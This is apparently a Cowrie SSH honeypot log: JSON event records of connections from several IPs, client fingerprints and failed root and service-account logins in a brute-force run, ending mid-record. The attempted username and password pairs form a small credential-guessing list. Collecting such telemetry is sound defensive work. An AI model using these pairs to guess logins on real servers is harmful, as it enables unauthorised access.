{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":57712,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4de1485b61d","protocol":"ssh","message":"New connection: 43.163.119.215:57712 (10.17.0.5:22) [session: d4de1485b61d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:33.165263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:33.169574Z","src_ip":"43.163.119.215","session":"d4de1485b61d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:33.412868Z","src_ip":"43.163.119.215","session":"d4de1485b61d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:33.700033Z","src_ip":"43.163.119.215","session":"1b0c04a8abbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password","message":"login attempt [deploy/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:34.124356Z","src_ip":"43.163.119.215","session":"d4de1485b61d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":39058,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3b12beb287d","protocol":"ssh","message":"New connection: 103.75.199.4:39058 (159.203.135.109:22) [session: d3b12beb287d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:34.389547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:34.393002Z","src_ip":"103.75.199.4","session":"d3b12beb287d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:34.483132Z","src_ip":"103.75.199.4","session":"d3b12beb287d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:34.755410Z","src_ip":"103.75.199.4","session":"d3b12beb287d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:35.366136Z","src_ip":"43.163.119.215","session":"d4de1485b61d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:35.848812Z","src_ip":"103.75.199.4","session":"d3b12beb287d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.46.75","src_port":37728,"dst_ip":"159.203.135.109","dst_port":22,"session":"869dbbf3dda5","protocol":"ssh","message":"New connection: 43.153.46.75:37728 (159.203.135.109:22) [session: 869dbbf3dda5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:38.945127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:38.950213Z","src_ip":"43.153.46.75","session":"869dbbf3dda5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:39.019427Z","src_ip":"43.153.46.75","session":"869dbbf3dda5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"77777777","message":"login attempt [root/77777777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:39.326554Z","src_ip":"43.153.46.75","session":"869dbbf3dda5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:40.399096Z","src_ip":"43.153.46.75","session":"869dbbf3dda5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.102.183.113","src_port":59972,"dst_ip":"10.17.0.5","dst_port":22,"session":"acc6a2cefc44","protocol":"ssh","message":"New connection: 67.102.183.113:59972 (10.17.0.5:22) [session: acc6a2cefc44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:45.414471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:45.419618Z","src_ip":"67.102.183.113","session":"acc6a2cefc44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:45.490049Z","src_ip":"67.102.183.113","session":"acc6a2cefc44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"flintoff","message":"login attempt [root/flintoff] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:45.804802Z","src_ip":"67.102.183.113","session":"acc6a2cefc44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:46.878362Z","src_ip":"67.102.183.113","session":"acc6a2cefc44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":33762,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1de8d8d9534","protocol":"ssh","message":"New connection: 103.75.199.4:33762 (159.203.135.109:22) [session: e1de8d8d9534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:56.269747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:56.273940Z","src_ip":"103.75.199.4","session":"e1de8d8d9534","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:56.364880Z","src_ip":"103.75.199.4","session":"e1de8d8d9534","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rock","password":"rock","message":"login attempt [rock/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:56.639545Z","src_ip":"103.75.199.4","session":"e1de8d8d9534","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:57.738182Z","src_ip":"103.75.199.4","session":"e1de8d8d9534","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.243.147.237","src_port":50248,"dst_ip":"159.203.135.109","dst_port":22,"session":"de27b627f024","protocol":"ssh","message":"New connection: 162.243.147.237:50248 (159.203.135.109:22) [session: de27b627f024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:02.408886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:02.414273Z","src_ip":"162.243.147.237","session":"de27b627f024","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:02.484479Z","src_ip":"162.243.147.237","session":"de27b627f024","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerqwer","message":"login attempt [root/qwerqwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:02.795092Z","src_ip":"162.243.147.237","session":"de27b627f024","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:03.868401Z","src_ip":"162.243.147.237","session":"de27b627f024","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":34650,"dst_ip":"10.17.0.5","dst_port":22,"session":"c74b5f1a2ab5","protocol":"ssh","message":"New connection: 43.163.119.215:34650 (10.17.0.5:22) [session: c74b5f1a2ab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:06.638512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:06.644019Z","src_ip":"43.163.119.215","session":"c74b5f1a2ab5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:06.882308Z","src_ip":"43.163.119.215","session":"c74b5f1a2ab5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@123","message":"login attempt [root/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:07.602607Z","src_ip":"43.163.119.215","session":"c74b5f1a2ab5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:08.844198Z","src_ip":"43.163.119.215","session":"c74b5f1a2ab5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":48818,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc2b82ec6e1f","protocol":"ssh","message":"New connection: 103.75.199.4:48818 (159.203.135.109:22) [session: fc2b82ec6e1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:18.145487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:18.150449Z","src_ip":"103.75.199.4","session":"fc2b82ec6e1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:18.247002Z","src_ip":"103.75.199.4","session":"fc2b82ec6e1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"hduser","message":"login attempt [hduser/hduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:18.540750Z","src_ip":"103.75.199.4","session":"fc2b82ec6e1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":40372,"dst_ip":"10.17.0.5","dst_port":22,"session":"2be8f5f8bd61","protocol":"ssh","message":"New connection: 163.7.9.84:40372 (10.17.0.5:22) [session: 2be8f5f8bd61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:19.052482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:19.057283Z","src_ip":"163.7.9.84","session":"2be8f5f8bd61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","